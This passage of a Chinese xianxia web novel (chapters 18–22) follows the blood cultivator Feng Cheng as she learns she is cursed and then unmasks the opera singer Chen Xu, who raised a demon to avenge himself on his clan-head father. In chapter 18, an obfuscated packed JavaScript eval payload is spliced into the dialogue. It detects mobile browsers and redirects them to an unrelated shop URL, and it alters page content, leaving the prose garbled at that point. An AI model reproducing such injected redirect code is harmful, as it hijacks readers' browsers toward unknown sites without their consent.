从陈设上来说,陈家对封澄的屋子是下了些功夫的,兴许是知道她身为血修,于是屋内陈设摆件,皆是阴沉沉黑乎乎的血修之风,温不戒道:“我初次来时,倒还不是这般摆设。” “那是在我的客房。”赵负雪凉凉道。 温不戒风度翩翩地当没听见。 赵负雪将手上的杂物小心地放置好,一回头,却见封澄已然给温不戒倒上了水:“这是我今日在山下买的,我喝不惯这里茶水,便买了干果子来泡,公子尝尝。” 茶水颜色的确不一样,是红彤彤的颜色,看着相当喜人。 赵负雪鬼魅似的坐在了封澄旁边:“我的呢?” 封澄:“?” 封澄:“上次给你买甜水,你一口没喝,我可看着呢。” 18. 第 18 章 或许是快到了龟祭的时候,夜间的陈氏山庄也不像往日般寂静,时不时便有人声脚步声,温不戒细细为封澄把脉,沉吟片刻,道:“一个好消息,一个坏消息。” 封澄注意到赵负雪的注意力登时转移了过来,沉吟片刻,封澄道:“先说好消息?” 温不戒笑着瞥了赵负雪一眼:“我治病救人之时,从不许第三人在场。” 此言一出,便像是在隐隐要爆发的火山之上又凭空添了一把干柴,果然,赵负雪脸色一沉,封澄以为他要提剑了,不料赵负雪深深地看了她一眼,便冷哼一声,走路带风地去了外间。 封澄心有余悸:“我刚才手都伸到桌子下了,就等着他动手,我便掀桌。” 温不戒道:“天下最不能得罪的便是医者,赵公子是聪明人,也是有心人。” 有心人? 不待封澄再问,温不戒便一转话头,脸上的笑意一扫而空,取而代之的是封澄从未在温不戒脸上见到过的凝重:“先说坏消息。” “这东西不是毒,是咒。” 咒与毒的区别,封澄还是知道的,毒,有解药便可解,但咒,除非找到施咒之人,否则难以解除。 说来此时也是她意料之中的事情了,血修骨肉特殊,等闲毒物皆无法在她身上发挥作用,能将她逼成如此地步的,是咒,便能解释了。 只是施咒条件着实特殊,且伤人伤己,消耗极大,她在十九年前人生地不熟,是谁往她身上施了一个咒呢? 封澄无奈地点了点头:“还有一个好消息呢?” 温不戒放下手,温和道:“施咒之人手法精湛,这咒又稳又准又狠,乃我平生前所未见之漂亮,所以姑娘会走得比较安详,不会有太多痛苦。” 封澄:“……” + 封澄木着脸收回了手:“我长这么大,还从未听过这么好的消息。” 根本就是坏消息买一送一,还不许讨价还价的。 温不戒道:“我倒是能为姑娘拖上些时日,只是姑娘莫要再向魔物堆里扎了,说到底,能活多久,还是看姑娘自己的造化。” 能拖便拖吧,封澄点了点头:“多谢侠医出手相助。” 外面的赵负雪听到屋中话音渐消,心中隐隐升起两份焦躁来,陡然间,屋内传来温不戒过分清晰的声音:“诊察已毕,赵公子可以进来了。” 赵负雪进入内室时,敏锐地察觉到室内的气氛似乎怪怪的,封澄的神情似乎有些轻松,倒是温不戒,看着倒是心有戚戚然。 他心下蓦地一紧,声音中带着几分他都未察觉到的焦急:“怎么样?” 封澄笑眯眯地招招手:“我能有什么大事?不过是血修反噬,这都是常事嘛,你说是不是,温公子?” 温不戒端着茶杯,眼观鼻鼻观心地嗯了一声。 赵负雪松了一口气,回过神来,便对着封澄鼻子恨铁不成钢:“血道逆天而行,得善终者百中无一,你符道精湛,剑术了得,为何偏生选了血道?” 封澄笑了笑,没回应。 他坐下,非常自然地给自己倒了一杯红彤彤的甜水:“待你伤好了,便随我回京城,天机院能人辈出,定然能助你脱离血道。” 温不戒忽然道:“那是什么?” 封赵二人循着他的目光看去,他看着的,是两个泥捏的小人。 捏小人的师傅想必是手法有些粗糙的,捏的小人鼻子不是鼻子,眼睛不是眼睛,一个是个姑娘模样,笑眯眯的,另一个便诡异了,身子仿佛一团面条,脸上倒是传神得很,一副气鼓鼓的模样,腰上那把佩剑倒是捏得颇为像样。能看出是一把雪白佩剑。 雪白佩剑? 赵负雪一怔。 人在尴尬的时候总会格外忙,封澄尴尬地咬着茶杯边,杯中早已没有了茶水:“这……这是两个小面人,我捏的。” 这俩小面人,是她将赵负雪气走之后,打算捏来哄一下大少爷的。 只是封大侠文能上金銮,武能镇长煌,偏生对一小团的软面毫无办法,她捏自个儿试手那个倒还顺遂,捏起赵负雪那个来,简直像是猴子捏绣花针,笨得堪称惊世骇俗,捏面人的师傅耐心,她学得满头大汗,仍旧是捏得笨拙。 面人师傅最终无奈了:“你只想着,这面中原本就有一个人,你捏出来,便能见到他了。” 也不知是不是这句话的作用,封澄捏得顺手了许多,到最后,终于捏得像样了。 她珍重地端详着气鼓鼓的小面人,有些意外。 不知何时,她想到的赵负雪,已不是那副冰冷且目下无尘的模样了。 温不戒道:“我见那面人小姑娘有些憨态可掬,不知姑娘能否割爱与我?” 不知温侠医这对火眼金睛,是如何从面目不清的面人上看出憨态可掬四个大字的,封澄连忙摆手,还未斟酌好拒绝之词,便听到一旁的赵负雪冷声道:“不许。” 封澄一愣。 温不戒微笑道:“我向封姑娘讨要,关你何事。” 赵负雪站起身来,半个身子越过茶桌,径直盯着温不戒双眼,一字一顿道:“你看不出来吗?那是我的东西。” 温不戒哦了一声:“我并未要那个丑的。” 封澄:“……” 赵负雪磨了磨牙,显然是听明白了温不戒的言外之意,他指了指两个因为保管不利而黏得难舍难分的面人,郑重无比:“那两个,是一对,不能拆。” 封澄:“……” 她一脑门汗地把半个身子越过去的赵负雪强行按回去:“他今夜喝多了,侠医莫要怪罪。” 温不戒的笑意如春风拂面:“我岂会和一个醉鬼计较。” 顿了顿,他又道:“姑娘可愿将那小面人赠于我?” 于情来说,温不戒的讨要并不过分,一个小小面人,又不是她半条小命,没有什么不能给的;于理来说,温不戒救了她的小命,把她从宝华楼之鬼门关前拉了回来,还为她开药以延缓病情,他既然开了口,封澄便理应去给。 可封澄认真道:“温公子,明日我做个精致又好看的,送到你门前,好不好?” 温不戒歪了歪头:“这个不好吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281339|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 封澄一笑:“不是不好,只是这两个面人黏成一团,若是分开了,倒毁得没意思了。” 赵负雪被她按着,闻言,转过头,怔然看向她。 封澄道:“温公子救命之恩,封澄没齿难忘,但凡公子开口,封澄万死不辞。” 温不戒从容站起身来,失笑道:“我要姑娘万死做什么?夜已深了,我也该告辞了。” 封澄飞快地扯过一旁的灯笼,道:“我来送你。” 待封澄将温不戒送回了他的居所,一推门,却发现赵负雪还在屋中,她合上门,挑眉道:“赵公子还在这里,不怕妖女动手动脚,坏了你清白吗?” 他不知何时,已将封澄买回来的那一堆破烂一个一个地、齐齐整整地摆好了。 封澄从前从未见过赵负雪喝醉,她有些好笑地走到赵负雪的身边,看见赵负雪神情专注,一双浅淡寡情的眼睛深深地注视着两个黏糊糊的面人。 这个时候的赵负雪似乎格外有趣好欺一些,封澄玩弄之心大起,凑过去道:“捏得好不好?” 赵负雪垂眸看她:“烂极了,怎么捏得这么丑。” 说着,他又指指那纸做的风车:“这个也丑,我从未见过配色如此诡异的风车。” 指指糖人:“都化了,淋了我一手的糖。” 又指指那叠起来的黄宣纸:“嚼起来像蜡。” 封澄一看,大惊失色:“你吃了什么东西?!” 赵负雪:“糯米糖。” 这是个屁的糯米糖,京城的糯米糖到底长什么样,封澄两眼一黑,一时不知是赵负雪醉得糊涂,还是这黄宣纸长得清奇,她一把将人向室外捉去:“赵负雪,我若是将你今日干的事情往外一抖,你前半辈子辛苦端出来的架子就全毁了,全毁了你知道吗!” 赵负雪静静地看着她道:“你要带我去哪儿?” 封澄没好气:“带去温不戒那里。他还没睡,看看能不能将你这满腹经纶掏出来。” 他忽然定住了。 封澄回头:“?” 他的脸上是分明的不乐意:“伪君子,真小人,和他有什么好说的,不去。” 封澄眯眼看他,琢磨着用什么姿势将他扛下去。 赵负雪忽然道:“这些东西,都不如京城好。” 他忽然变得很耐心,封澄几乎能从他的话里听出几分谆谆善诱的味道,他挣脱封澄,就地一坐——这是清醒时的赵负雪绝对不会坐的地方——他坐在了封澄的脚边。 “京城,天机院外,有一整条的街,”赵负雪闷闷道,“你想吃什么糖水,就有什么糖水,想要什么糖人,就有什么糖人,厨子的花样从月初到月末,都不会重样子,天机院里,有当世最称职的修士大能。” 封澄含笑着看他:“我知道的。” 赵负雪固执道:“不,你不知道,在天机院,不会有人因为你从前是血修对你另眼相待,你可以从头走起,不必走这条不得善终的死路。” 他抬起头,看向封澄,目光中是她从未见过的直白与赤诚:“你愿不愿意……?” 19. 第 19 章 深夜的风有些大了,站在门前,赵负雪身上的酒气都被冲淡了许多。 夜风吹动封澄的衣角,陈家备的是件鲜红的长袍,她的漆黑长发随着衣角一同翻飞:“我以为你会明白的。” 赵负雪沉默不语。 封澄也不嫌脏,原地与他并肩坐在了门口的石阶上:“赵公子,你觉得我是怎样的人。” 赵负雪怔怔地坐着,眼中露出封澄从未见过的茫然:“……” “你我皆生于逢魔乱世,但须知百年之前,长煌内外,天魔虎视眈眈,人魔地魔横行,散修个立门派,不成气候,人族更是难与群魔相抗。” “人人朝不保夕之际,天机院设千金令,以‘千金’召四方名士,各宗修行之道,为天下所用。” 她信口闲扯,好像在同老友交流,赵负雪腰间的酒葫芦摇摇晃晃,封澄将酒葫芦掏出来,仰头灌了一口:“你记得天机院上次颁千金令是何时了吗?” 他道:“十五年前。” 封澄微微笑:“从一日一令,到一年一令,再到十五年一令——千金令颁布后,不过百年,天下散修,便已没有值得天机院为之付‘千金’的东西了。” 她道:“可唯一一道,是天机院唯恐避之不及的。” 赵负雪敛眸,声音涩然:“血道。此道同类相食,有违天理人和,不为天机所容。” 封澄哂道:“偏生我所求之物,也只能去血道中寻,世间千金万两,唯存血道。” 少女说此话时,双目淡然,嘴角含笑,所出的话却像是想到了什么人:“再说了,这些旧路有什么好的,修到了天下第一也没用。” 她站起来,玩笑道:“回去睡吧,再多说些,你又要出手诛杀邪恶血修了。” 衣角忽然一动,封澄低头一看,原来是赵负雪不知何时抓住了她的衣角:“等等。” 夜风之大,忽然便吹乱了封澄的听觉:“?” 赵负雪道:“好,不说那些。可我今夜饮酒壮胆,便是为了对你说一句,抱歉。” 封澄愣住了。 赵负雪道:“从前偏见,是我之过。” 封澄定在原地,好像魂魄随着赵负雪的话飞了出去,她从未被人如此正式地道歉过,此时有些慌张地把衣角从赵负雪的手中拽出来:“你今夜的确喝的够多了。” 赵负雪此人固执,喝醉了更是固执,抓住一样东西,便咬死不放手,嘴中还不知说着什么颠三倒四的醉话。 说着说着又絮絮叨叨地递起剑了,封澄心中无奈,打断道:“我不怪你。” 赵负雪微微一愣。 封澄道:“我从不怪你。” 待醉鬼被她连赶带推地劝回去,封澄才合上门,很心累地叹了口气。 年轻人喝醉,又是耍赖又是道歉,着实让她招架不能啊。 下次可不能让他喝这么多了。 次日清晨,封澄还迷糊着,陈云便亲自将红绳面具送了来,千叮咛万嘱咐:“一定要和人牢牢地牵起来,不能松开,若真被入了鬼界,又被鬼缠上了,那可是回不来的。” 封澄道:“怎么这时便备上了,龟祭是什么时候?” 陈云道:“就是三日后了。” 封澄收好了东西,对陈云道了谢。 她总觉得,龟祭时定然有大事发生。从古安隐在幕后的一人一魔,到宝华楼地魔的临死之言,无一不像块石头似的压在封澄身上。 思来想去,还是得先下山一趟,再找找线索。 封澄刚到山下,迎面便撞上了往这边走来的赵负雪,二人在看到对方是的第一反应,皆是不约而同地错开了视线,片刻,封澄才道:“这么早,你要去哪里?” 赵负雪也像昨晚什么都没发生过一样,依旧是那副冷淡神色:“喊你去西吉街再查一遍阿环,那块布条有反应了。” 布条有反应了? 上书两个大字:“风铃。” 封澄若有所思地合上字条——这时机来得太巧,好像是她方才除掉宝华楼,刚刚醒来,布条便掐着时间露出来了。 她不由得去想,这留下线索,让她能够除去宝华楼的人,到底是一个什么人。 西吉街同二人第一次来到时,并没有什么变化,待二人行至李家居住的巷前,却见一队披挂着白布的奔丧之队吹着哀乐,撒着纸钱,缓缓地从巷子中行了出来。 她心中登时一紧,拉了一个过路人便问道;“这是谁家的棺材?” 路人被抓得一惊,见来者是个年轻的小姑娘,神色松缓道:“你是说这个?哎,还不是那个出了大魔的李家?前些日子,他家闺女化的那个魔,在宝华楼自爆了,这家人被半个古安的人堵着大门骂,连一步都不敢出,听说这个死人呐,就是阿环的爹!” 阿环的爹? 封澄想起初入李家时,坐在主座上,憔悴而焦急的中年人。 他的相貌,看起来便是那种温和的文化人,平素断然不会与人为恶,想来还该是个人缘颇好的老好人。 封澄感觉自己的心越跳越快:“怎么死的?” 那人嗐了一声:“自缢的呗!挂在树上伸着舌头,那么长!说来这个爹,从来都是最疼这个阿环的,兴许是被她索了命去也不定。” 封澄的拳头骤然收紧了。 路人还待再说,却见小姑娘身边那负剑的少年冷冷地看过来,腰间寒光一闪,他当即脖子一缩,住了嘴,讷讷地后退一步,一溜烟儿跑了。 “带点吊唁的东西,我们去李家。”封澄道。 赵负雪从没在她脸上见过如此神色,他静静地把剑收回:“好。” 第一次来到李家时,封澄心中尚有逗弄赵负雪的闲心,此时又一次站在了李家的门前,封澄的心底却是不住地向下沉。 门口不知几日没有洒扫过了,灰尘、脚印,还有人为的污物横行在李家面前,巷中洒扫之人好像是特意避开此处一样,周围邻舍前皆干干净净,唯有李家门口,一地狼藉。 封澄对着门口吹了个鸽哨,半日,未见鸽子飞出。 门口却悄悄地开了一条缝,探出了一颗头:“是……是鸽子仙来了吗?” 这细若蚊呐的声音揪得人 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不一会儿,小孩一路小跑着将鸽子捧了过来,小心翼翼道:“姐姐……你要阿灰的身体做什么?” 封澄摸了摸他的头:“你想不想让阿灰再活过来一小会儿?” 小孩一怔,随即眼里转出了泪花,他用力地点了点头:“嗯!!” 外面人多,封澄与赵负雪随着小孩儿进了院子,封澄四处一看,只觉得这院子的荒芜更胜从前,竟连点活气儿都没有,她摇摇头,将指尖血液涂在了鸽子的双目与喙处,闭眼道:“起!” 霎时,一张血书赫然跳入封澄的双目中! 李父用追魔给她留了一封血书! 封澄被这字字刺得双目生疼——有人抓着鸽子,用它的眼睛将这血书梭巡了个遍! 封澄深吸一口气,暗暗记诵血书内容。 捉着鸽子的人似乎也是焦急,他将血书在鸽子面前过了几遍,然后将血书草草一收拾,点了一把火,便烧了。 封澄认得出来,那形容疯癫潦草的点火之人,便是那日端坐着,疲倦不已的阿环父亲。 耳边忽然传来孩子惊喜不已的声音:“阿灰活了!阿灰叫了!” 阿灰的叫声与那日封澄所闻并无两样,她站起来,温和地看着惊喜无比的小孩,默默地同赵负雪离开了:“平生头一次,恨我追魔修得不到位,不能让这个鸽子多叫一会儿。” 一旁的赵负雪道:“待此事解决,我送他一只一模一样的鸽子。” 封澄哑然失笑:“这样不好,这哪能替代,一模一样也不行。给他立个碑吧,也算安慰一下。” 沉吟片刻,她又道:“这个鸽子,或许保了它主人小命。” 赵负雪道:“是追魔追到了什么?” 封澄点点头,向上次来时的李夫人院中走去:“一封血书,留给我看的。” 赵负雪的神色登时一凝:“说了什么?” 封澄道:“陈家罪状。” 20. 第 20 章 血书里林林总总写了七八条罪状,中有一条,是封澄最为在意的。 “李父说,宝华楼之魔,是陈家人故意豢养的。” 赵负雪一愣,神色不定:“等等,这宝华楼养成,杀的最多的就是陈家人,陈家养出个地魔来,专杀自己的人?” 封澄摇了摇头:“我看李父的神情,似乎也是如疯似癫,写的血书不一定能当真,也只当个线索了。”想了想,封澄又道:“我总有不好的预感,总感觉龟祭当日,会有大事发生。” 赵负雪专注地听着,他微微地侧着头,封澄的脸色依旧是不好,自打从宝华楼出来后,她便一直苍白着,好似养不回来的模样。 一定要带封澄回京城修养一段时日,赵负雪皱眉想着。 二人说话间,便到了李夫人的屋子前,封澄还未进门,便听到屋中的咣当倒地一声。 她暗叫一声不好,踹门一看,房梁上竟挂着一个人! 赵负雪眼神一暗,当即飞出一道负雪剑气,白光乍现,吊着李夫人的白绫霎时一裂两半,封澄上前一步察看,抬头看向赵负雪:“还好,只是受惊了,取些凉水来。” 李夫人想必是虚弱了一些时日了,封澄又是泼凉水,又是掐人中,好半日才悠悠转醒,见到封赵二人,脸色先是一白:“你们怎么会在这里?” 封澄沉声道:“李夫人,现下不是解释这些的时候,我来,是要问你事情。” 李夫人颓然点点头:“你说。” 封澄道:“李父近来,可曾与什么人交往甚密?” 李夫人疑惑道:“交往甚密?自打阿环出事后,他的那些旧友便没再有上门的了。” 想了想,她又道:“不过,南面华曲戏坊的絮老板,倒是来送过他要的戏本子。” 封澄站起:“戏本子?他是唱戏的?” 对上了,宝华楼地魔曾说,豢养地魔的人是个脂粉味很重的男人,封澄原本只排查了各秦楼楚馆的常客,没曾想到,还有他自己就是唱戏的! 且,李父在与他接触后,先是借鸽子眼留下了陈家罪状血书,又是自.焚…… 可能说,就连自.焚,也不是他自愿的。 封澄与赵负雪对视一眼:“走。” 许是龟祭将至的缘故,街上的人比平常更多了,华曲戏坊并不是个规模很大的戏坊,不过去区区二楼,人却是很多,封澄在人群外遥遥地观望一圈:“人好像很多。” 赵负雪点了点头,他听见有人在门口叹道:“自打宝华楼出了那档子事,全程的老鸨子都不敢干活了,说是晚上见着有脏东西吊在床前。” “一个老鸨子这么说也就罢了,怎么个个老鸨子都这么说?” “谁知道,还有几个老客,这几日也总是撞着鬼,谁还敢寻这些乐子?总之啊,咱们是没地方找乐子喽。” 赵负雪的目光移到封澄身上:“你干的?” 封澄笑眯眯地比了个手势:“几个纸人,效果不错,不枉我跑了一下午。” 她刚刚醒来一日,哪来的时间?赵负雪一想,哑然失笑:“你昨日,可真够忙的。” 可不是嘛,封澄无奈地叹了口气:“昨日,最麻烦的便是你。” 赵负雪的脸登时一红。 封澄好笑地看着突然变了颜色的赵负雪。 他的皮肤白,红起来也和旁人不一样,旁人哪怕脸红,也只是两颊红一些,而赵负雪这位什么脸色都藏不住的奇人,一红便是整张脸飞快地熟成一片。 想到这里,封澄又手痒了,她颇为促狭地捅了捅他:“美酒醉人啊,赵公子,你昨日借酒撒泼,盯着两个泥人不撒手,还偷偷吃了……” 赵负雪满脸通红地握住了剑:“住嘴,没有……我都忘了!你这人,真是……” 话音一落,赵负雪却发现身边没了人,抬头一看,却发现封澄不知何时翻到了二楼的看台上,她倚着栏杆,对他道:“赵公子快来,这个唱曲儿的旦角儿,嗓子亮得很,扮相也漂亮。” 赵负雪看着坐在看台上饶有兴味的封澄,轻轻地叹了一口气。 “你怎么上去的。” “你猜。” 陈絮的目光停在二楼看台上许久了。 “终于来了。”他心底叹了口气。 戏坊花团锦簇,人头攒动,他看见自己的大红水袖铺出去,珠子一般的唱词变咿咿呀呀地跟上,叫好声在人群中一波一波地涌出。 穿黑衣的,是个男人——或者说是个骨骼还未发育全的少年更合适,他的神色极冷,腰间一把雪白长剑,华光流动。 他知道的,那是灵力涌到剑上的样子。 站在少年身边的,是个年岁不大的姑娘,应当也是修士,只是身上竟然未带灵器,她一身鹅黄的衣裳,梳着少女的发式,看着俏生生的。反倒是坐姿很不俏生生,翘着二郎腿,说实话,有些像兵痞。 陈絮在看到她时,微微有些讶异。 他听说追魔之术的主人是个年轻人了,却没想到这么年轻,年轻到了让人怀疑毛没长齐的程度。 一曲唱罢,众人陆续退场,他也退至后台,对镜坐下,慢慢地开始除去面上油彩脂粉。 忽然间,脖颈处一道雪亮的剑光横来,然后便是一道冷声:“宝华楼地魔,你养的?” 封澄没曾想到幕后之人,竟然是个眉目清朗的少年。 他看起来与赵负雪的年纪差不到哪里去,许是十七八岁,或者说是二十来岁也可以,眉间神色温软,即便是被见素指着,依旧是一副八风不动的从容模样。 他慢慢地卸去钗环:“想问什么,尽管问吧。” 封澄站在他的身后,看着铜镜中映出的他的影子:“你似乎并不怕我们杀了你。” 他微微一笑:“我怕什么?我要做的事情,已经都做完了。” 封澄道:“什么?” 陈絮温和地弯了弯眉眼:“意思就是,你们来得太晚了。” 说罢,他开始擦洗脸上的痕迹:“该从什么地方说起呢?对了,就从宝华楼那个养不熟的东西开始说吧。” “豢养魔物。的确是我干的,我用四十九人的性命,养出了宝华楼这个东西。” 封澄杀魔多年,见过的罪人多了去了,罪人伏诛之时,什么奇形怪状的样子都有。有痛哭流涕的,有抵死不认的,还有装疯卖傻、意图偷袭的,可像面前男子这样从容不迫地交代、好似这些事都是别人干的这种,还是头一次见 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陈絮点了点头,脖子上的见素寒光凌冽,似乎刺得他不是很舒服,他很别扭地转了转脖子:“这位姑娘,能否让这位公子把剑拿远一些?等我交代完了,会任由二位处置的。” 赵负雪看向封澄,封澄抿了抿唇,道:“赵公子,放开他。” 赵负雪道:“此人凶残,诡计多端,若是逃脱……” 封澄打断他:“他没有灵力。” 赵负雪一怔,陈絮好似也是愣了愣,随后笑道:“姑娘好眼力。” 她目光极为复杂地看着他的脖颈,即便见素没有贴到他的皮肉上,外溢的剑气还是令他的脖子上有一道血迹缓缓地流下来:“我本以为有一场硬仗要打。” 陈絮看了看她,很轻松地笑了:“我并非寿命悠长的修士,这么多年,早已疲惫至极。” “陈家罪状,是我写的,”他很惋惜道,“我本想,或许李父会死得壮烈些,这份血书也得以公布,不曾想他竟是孬种至此,只敢把血书留给你看。” 封澄道:“追魔之事,谁与他说的。” 陈絮道:“当然不是我——我只想他死得越声势浩大越好。说来,前几日,我手下有个小魔身死,便是你以追魔所破吧?” 海洛斯也是他的手笔? 她皱眉不已:“你做了这些事情,却又一心求死,图什么?” 陈絮脸上的妆终于卸完了:“陈家龟祭,我在等这一天。” 他从容无比地站起身来,开始慢慢地脱身上的戏服:“世人有传,龟祭之日,死生大门敞开,亡者生者可相见。” “只是传闻,”赵负雪沉声道,“人既已死,便断无死而复生的道理,即便有,那也是邪道,必成苦果。” 陈絮哈哈大笑:“我已犯下滔天之罪,还怕这苦果?实话与你说,龟祭的传闻,并不是假的。” 他转身,封澄终于第一次看到了他的双眼。 “地魔一死,灵气与魔气动荡,人间鬼界不分,龟祭,是真的可以打开那扇大门。” 他的双眼里是一片猩红。 那是独属于疯子的、癫狂不已的神色。 21. 第 21 章 赵负雪看向封澄:“怎么处理他。” 眼见着戏服男子一副癫狂不已的模样,封澄沉吟片刻:“把人送到陈家去。按理来说,这种事情该是陈家处理。” 陈絮的笑声戛然而止,他难以置信地看向封澄:“你不杀我?你竟然不杀我?” “杀了你做什么,”封澄冷冷道:“让你看到你精心筹谋的一切化为乌有,才叫杀人诛心。” 赵负雪压下呵呵冷笑的陈絮,陈絮狰狞大笑:“来不及的!三日后龟祭,鬼门必然大开,无论是谁,都阻拦不了!” 封澄很头疼地道:“这位公子,我不知你召回的已死之人是谁,也不知你与陈家有多大的仇怨,单单只问你一点——那个已经死去的人,当真愿意重归于世吗?” 赵负雪静静地听着封澄的声音,手下按住陈絮的力度却狠绝。 “既为生者,就不要妄自打扰死者的安宁。”说罢,封澄挥挥手:“走吧,赵公子,我们把人送回陈家山上。” 听到陈家两个字,陈絮又拼命地挣扎起来,赵负雪啧了一声,抬手一记手刀,干脆利落地削在了陈絮的后颈上,他两眼一翻,当即不省人事了。 陈氏山庄已为龟祭之事忙得团团转,连在山庄前守门的人都比平常少了许多,为首几个弟子见封澄与赵负雪押着人上来,忙上前道:“封姑娘好!这人是……?” 她道:“你们陈家平常管事的是哪个?” 几个弟子对视一眼。 封澄将众人神色收入眼底:“这人是宝华楼的幕后黑手,陈家死人都是出于他手。” 众弟子皆是一惊,随即面有愤慨:“原来如此!姑娘随我来,家主虽然近来重伤不掌事,但这种凶徒落网,是一定要上报家主的!” 陈絮早在半路上便醒了,听见陈风起重伤,他古怪地笑了笑,封澄听见他轻轻地说:“报应。” 虽然在陈氏山庄待了些日子了,可封澄还是头一次来到陈风起所居住的颛安峰,三人与闻声赶来的陈家众管事在门口等了些时候,便听到里面的通传:“进来吧。” 或许是重伤的缘故,封澄一进陈风起的主屋,便闻到了一股熟悉的药味,她有些疑惑地抽了抽鼻子,莫名觉得这药气好似和她师尊身上的味道相似。 难道说,疗伤之药,大都是通用的?所以味道便会一模一样? 坐在主座上的陈风起看起来是个颇为憔悴的中年人,他的皮肤是发沉的古铜色,一头灰白的长发束得一丝不苟,眼睛不大,倒是精光熠熠。 封澄心道:“久违了。” 陈家人将宝华楼之事详细告知,陈风起半睡不睡地听着。 他重伤未愈,好似懒得看陈絮一眼,掀起眼皮便挥挥手道:“既然如此,拖下去,处以极刑,枭首示众。” 众人齐道一声是,上来就要拖陈絮下去,陈絮被按跪在地上,抬起头来,目光中的恨意仿佛刀锋:“陈家主这些年,看起来过得也不好。” 哦? 陈风起好似笑了一声,他低下头看了看陈絮:“我得好不好,与你有何关系?” 陈絮道:“你低头看看,还认不认得我这张脸?” 听闻此言,封澄有些好奇地探了头,赵负雪道:“你听起这些八卦来,倒是很热情。” 封澄低声道:“你知道人世间四大乐是什么吗?” 赵负雪:“金榜题名时,洞房花烛夜……?” 封澄神秘兮兮地道:“错,一是看乐子,二是看大乐子,三是看别人家的乐子,四是看别人家的大乐子。” 这都什么乱七八糟的…… 赵负雪脸一黑,转过头去,当即一句话也不想说了。 他长这么大,修学百家之言,头一次听见有人八卦得如此堂而皇之,还搞出个四大乐来,他想了想,又无语地回过头道:“油嘴滑舌,巧言令色,教你的先生一定吃了不少苦。” 如果说是赵负雪的话,的确是吃了不少苦,封澄很赞同地点了点头,就当他说的是赞美了。 堂前的二人还在对峙,陈风起眯了眯眼,定定地看着堂下的人:“哦?是你?” 陈家人皆是一愣,似是没有想道陈家家主竟和谋害陈家人的凶徒是旧相识,正当众人骇然不已时,少年口中的话却令众人更加地难以接受了。 “是我,父亲。”陈絮冷笑道,“我还活着,你没想到吧?” 这句话仿佛一石激起千层浪,众人皆议论纷纷:“家主还有个儿子?没听说啊!” “……这个倒是真有,不过都是早些年的旧事了,家主年轻时与一渔家女子生过一子,也曾接到山上教养,不曾想这孩子全无修道的天赋,连最基本的灵气也没能入体。” “还有,后来听说是走了邪道,被家主处决,早已死了。” 正在众人议论纷纷之际,有一人拨开人群跑出来,惊惶道:“爹!这个人是谁啊!” 来者修眉细眼,封澄定睛一看,当即一惊:“陈云怎么在这里?他这几日不是天天忙着布置龟祭吗?” 赵负雪道:“神出鬼没的,哪儿都有他。” 二人一跪,一站,面面相对间,一股难言的气氛在二人中间升起。 平心而论,二人长得有些相像,可一个目中天真惶然,一个却是阴沉愤怒,兴许是唱久了戏的缘故,陈絮的声音有些尖锐:“为了他,你便把我的母亲给抛弃了?” 陈风起沉默不语。 陈絮的情绪在看到陈云的霎那而骤然爆发,他猛地站起,也不顾赵负雪的见素,大跨几步向前走去,众陈家人伸手要拦,却被一少女笑眯眯地全挡了回去。 “封姑娘!你!这是什么意思?” 封澄看着一个年轻小姑娘,谁知一身怪力简直比狗熊还恐怖,她站在陈絮身边,却让众陈家人都无法上前一步:“他没有灵力,即便是上去,又能对西琼第一剑做什么?一个将死之人,就由他去吧。” 众人还带再辩,陡然一线雪亮剑光扫过众人的眼睛,众人回头一看,赵负雪正轻抚着剑身,冷冷道:“退后。” 见陈絮挣扎着走到陈风起眼前了,赵负雪才小声道:“你拦他们做什么?” 封澄眯了眯眼睛:“谁也不能阻止我看热闹。” “……” 这个理由气得赵负雪转头就收剑,再也不想分给封澄一个眼神了。 封澄却盯着陈絮的背影若有所思。 她本 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家主见不得光的旧事,便在这个少年的口中毫无遮拦地被撕开了,众人从一开始的满脸愤慨便成了讷讷之色,不知是留在这里还是悄悄地退了比较好。 陈云愣愣地站在原地,好似已经听不懂人话了。 陈风起漠然道:“因你恰好像她,不能修道。” 陈絮的双目骤然变得血红,陈风起却接着道:“你身无灵力这事,我有千百个法子为你隐瞒,受伤也好,中咒中毒也好,有千百个解释,唯独不能因为,你有一个凡人娘。” 封澄戳了戳赵负雪道:“为什么?” 赵负雪冷色:“修道之人多了,便什么人都有,有那么一种败类,会搓个剑诀便自视颇高,视凡人如猪狗。” 陈家的家主,即便是在修道之人中,也是神仙一样的角色。 偏偏这样一个人,与一个寿命短暂、身无灵力的渔家女,生下了一个孩子。 这个孩子如同铁证,证实着一段无可辩驳的荒唐。 神仙不过偶然垂目,凡人的爱恨情仇,都是自以为是的笑话。 封澄轻微磨了磨牙:“他当真从始至终,都不是好东西。” 陈絮血红的双目盯着他:“你午夜梦回时,未曾悔过吗?” 陈风起:“未曾。” “你甚至不记得她长如何模样了,对不对?” “对。” 陈絮骤然哈哈大笑:“不记得了,你不记得了!她的存在,便如此不堪吗!” 陡然间,陈絮盯着他的眼睛,一字一顿道:“没关系了,她快要回来了——或者说,她从没离开过。” 陈风起此时才睁开了眼,他沉声道:“你说什么?” 陈絮道:“你当年的所作所为,够不够催生出一个人魔呢?” 封澄陡然变了脸色:“那个意图杀掉宝华楼地魔的人魔,是他母亲!” 赵负雪道:“他是彻底的疯子。活人招魂尚且逆天而行,他这是想要把人的魂召回来强安到人魔身上,且不说化魔的死人到底有没有魂魄这一说,即便是真能召回来,魔身人魂,又让他的母亲如何自处!” 二人对视一眼:“无论如何,古安的龟祭,必须叫停了。” 22. 第 22 章 陈絮最终还是被陈家人拖下去了,陈风起坐在高堂上,看着咒骂不已的儿子被一点一点地拖远,良久,也只道一句:“扶我回去歇息。” 他起身时,陈云忽然道:“父亲!” 封澄注意到,他的声音在发抖。 陈风起并未回头,陈云上前一步,道:“他……这个凶徒,下场会怎样?” 在场的人没有一人回答他,良久,有陈家长辈道:“少爷,走吧,该让家主大人休息了。” 